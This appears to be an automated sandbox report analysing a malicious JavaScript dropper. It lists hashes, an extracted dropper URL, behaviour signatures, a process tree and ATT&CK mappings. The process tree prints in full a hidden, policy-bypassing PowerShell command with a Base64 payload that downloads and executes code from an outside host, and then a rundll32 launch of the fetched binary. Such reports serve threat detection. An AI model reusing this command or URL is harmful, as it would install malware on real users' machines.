8dfc65192c00aa6d2c13bb997e364ca99af41be3c7a281b5b47a1207d61f0886

General

Target

details_5613.js
Size

629KB
MD5

13ecfbc54efb87498df12bbb02d054ef
SHA1

c857c59ef9fae1eaf4c3d1f8389586b2bc8ea8c6
SHA256

c91bd39590ae41161fc8d4ae9a453f689512ab90a0cc405d00dc9a50db05ea33
SHA512

5993d9c9343c041162f779196fc7a5fea688c1d922d940ca7adf62e4deb683a6104b4299d89f4c5ab05fc1384e7aeeb4e229ce8aed503baa73982c1b8176992d

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://netvalleykenya.com/crm.php

Signatures

Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

7 1792 powershell.exe
9 1792 powershell.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

1792 powershell.exe
1792 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1792 powershell.exe

flow	pid	process
7	1792	powershell.exe
9	1792	powershell.exe

pid	process
1792	powershell.exe
1792	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1792	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

Processes:

wscript.execmd.exepowershell.exe

description	pid	process	target process
PID 1052 wrote to memory of 1424	1052	wscript.exe	cmd.exe
PID 1052 wrote to memory of 1424	1052	wscript.exe	cmd.exe
PID 1052 wrote to memory of 1424	1052	wscript.exe	cmd.exe
PID 1424 wrote to memory of 1792	1424	cmd.exe	powershell.exe
PID 1424 wrote to memory of 1792	1424	cmd.exe	powershell.exe
PID 1424 wrote to memory of 1792	1424	cmd.exe	powershell.exe
PID 1792 wrote to memory of 828	1792	powershell.exe	rundll32.exe
PID 1792 wrote to memory of 828	1792	powershell.exe	rundll32.exe
PID 1792 wrote to memory of 828	1792	powershell.exe	rundll32.exe

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\details_5613.js
1⤵
- Suspicious use of WriteProcessMemory
PID:1052

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbgBlAHQAdgBhAGwAbABlAHkAawBlAG4AeQBhAC4AYwBvAG0ALwBjAHIAbQAuAHAAaABwACIAKQA=
2⤵
- Suspicious use of WriteProcessMemory
PID:1424

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbgBlAHQAdgBhAGwAbABlAHkAawBlAG4AeQBhAC4AYwBvAG0ALwBjAHIAbQAuAHAAaABwACIAKQA=
3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1792

C:\Windows\System32\rundll32.exe
"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Local\Temp\glSbzLwAdKQN.bin StartW
4⤵
PID:828

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/828-70-0x0000000000000000-mapping.dmp

Download
memory/1424-60-0x0000000000000000-mapping.dmp

Download
memory/1792-61-0x0000000000000000-mapping.dmp

Download
memory/1792-62-0x000007FEFBB41000-0x000007FEFBB43000-memory.dmp

Filesize
8KB

Download
memory/1792-63-0x0000000002370000-0x0000000002371000-memory.dmp

Filesize
4KB

Download
memory/1792-64-0x000000001ABF0000-0x000000001ABF1000-memory.dmp

Filesize
4KB

Download
memory/1792-65-0x000000001A8C0000-0x000000001A8C1000-memory.dmp

Filesize
4KB

Download
memory/1792-66-0x000000001AB70000-0x000000001AB72000-memory.dmp

Filesize
8KB

Download
memory/1792-67-0x000000001AB74000-0x000000001AB76000-memory.dmp

Filesize
8KB

Download
memory/1792-68-0x00000000023B0000-0x00000000023B1000-memory.dmp

Filesize
4KB

Download
memory/1792-69-0x000000001C230000-0x000000001C231000-memory.dmp

Filesize
4KB

Download

Analysis

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